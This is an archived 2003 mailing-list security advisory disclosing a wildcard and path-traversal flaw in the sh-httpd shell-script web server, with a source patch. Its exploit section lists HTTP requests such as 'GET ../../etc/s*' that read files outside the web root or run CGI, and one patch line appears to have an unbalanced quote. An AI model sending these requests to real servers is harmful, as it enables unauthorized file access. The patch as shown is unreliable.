

# [VulnWatch] sh-httpd `wildcard character' vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-10/0020.html>

---

**From:** dong-h0un U ([xploit\\_at\\_hackermail.com](mailto:xploit_at_hackermail.com))

**Date:** 10/27/03

To: [bugtraq@securityfocus.com](mailto:bugtraq@securityfocus.com), [full-disclosure@lists.netsys.com](mailto:full-disclosure@lists.netsys.com), [vulnwatch@vulnwatch.org](mailto:vulnwatch@vulnwatch.org)  
Date: Mon, 27 Oct 2003 22:42:45 +0800

=====  
INetCop Security Advisory #2003-0x82-019  
=====

\* Title: sh-httpd `wildcard character' vulnerability

## 0x01. Description

### About:

sh-httpd is a shell script-based Web server that supports GET and HEAD methods, and a CGI 1.1 interface. It's not real fast, and it's probably not real secure, but it is really small.

The Web server and its configuration files are around 9,000 bytes total, and that's with comments and pretty whitespace.

If you can run ash or bash, an inetd, and about 7 standard external commands on your system, you can have a Web server with CGI support.

There's also a timeout counter that kills never-ending CGI programs, cleans up, and exits.

More detailed information is: <http://lrp.steinkuehler.net/Packages/weblet.htm>

Vulnerability happens '\*' because don't filtering.

Through this character, can know existence of files to directory.

## 0x02. Vulnerable Packages

Vendor site: <http://lrp.steinkuehler.net/Packages/weblet.htm>

sh-httpd-0.4

-sh-httpd-0.4.tgz

+Unix

+Linux

+Other

sh-httpd-0.3

-sh-httpd-0.3.tgz

## VulnWatch: [VulnWatch] sh-httpd `wildcard character' vulnerability

### 0x03. Exploit

This is very easy.

Only, as using '\*', can read file of web directory freely or execute CGI.

For example, is as following.

```
GET *
GET ../../sh-httpd/p*
GET ../../etc/s*
GET ../../root/b*
```

You can read file path or contents, and if it is CGI, can execute. :-)

### 0x04. Patch

```
=== sh-httpd.patch ===
```

```
--- sh-httpd-0.4/sh-httpd Mon Oct 9 11:28:05 2000
+++ sh-httpd.patch Sat Jul 19 08:51:44 2003
@@ -31,7 +31,7 @@
```

```
    bname() {
        local IFS="/"
    - set -- $1
    + set -- "$1"
        eval rc="\${$#}"
        [ "$rc" = "" ] && eval rc="\${$# - 1}"
        echo "$rc"
    @@ -262,7 +262,7 @@
```

```
        # Split URI into base and query string at ?
        IFS='?'
    - set -- $URI
    + set -- "$URI"
        QUERY_STRING="$2"
        URL="$1"
        IFS=$OIFS
    @@ -292,7 +292,7 @@
    fi
```

```
        DIR="`dname $URL`"
    - FILE="`bname $URL`"
    + FILE="`bname "$URL`"
```

```
        # Check for existance of directory
        if [ ! -d "$DOCROOT/$DIR" ]; then
    === eof ===
```

P.S: Sorry, for my poor english.

## VulnWatch: [VulnWatch] sh-httpd `wildcard character' vulnerability

--

By "dong-houn yoU" (Xp1017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),  
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org> (Korean hacking game)

My World: <http://x82.i21c.net> & <http://x82.inetcop.org>

GPG public key: <http://x82.inetcop.org/home/profile/x82.k3y>

--

--

---

Get your free email from <http://www.hackermail.com>

Powered by Outblaze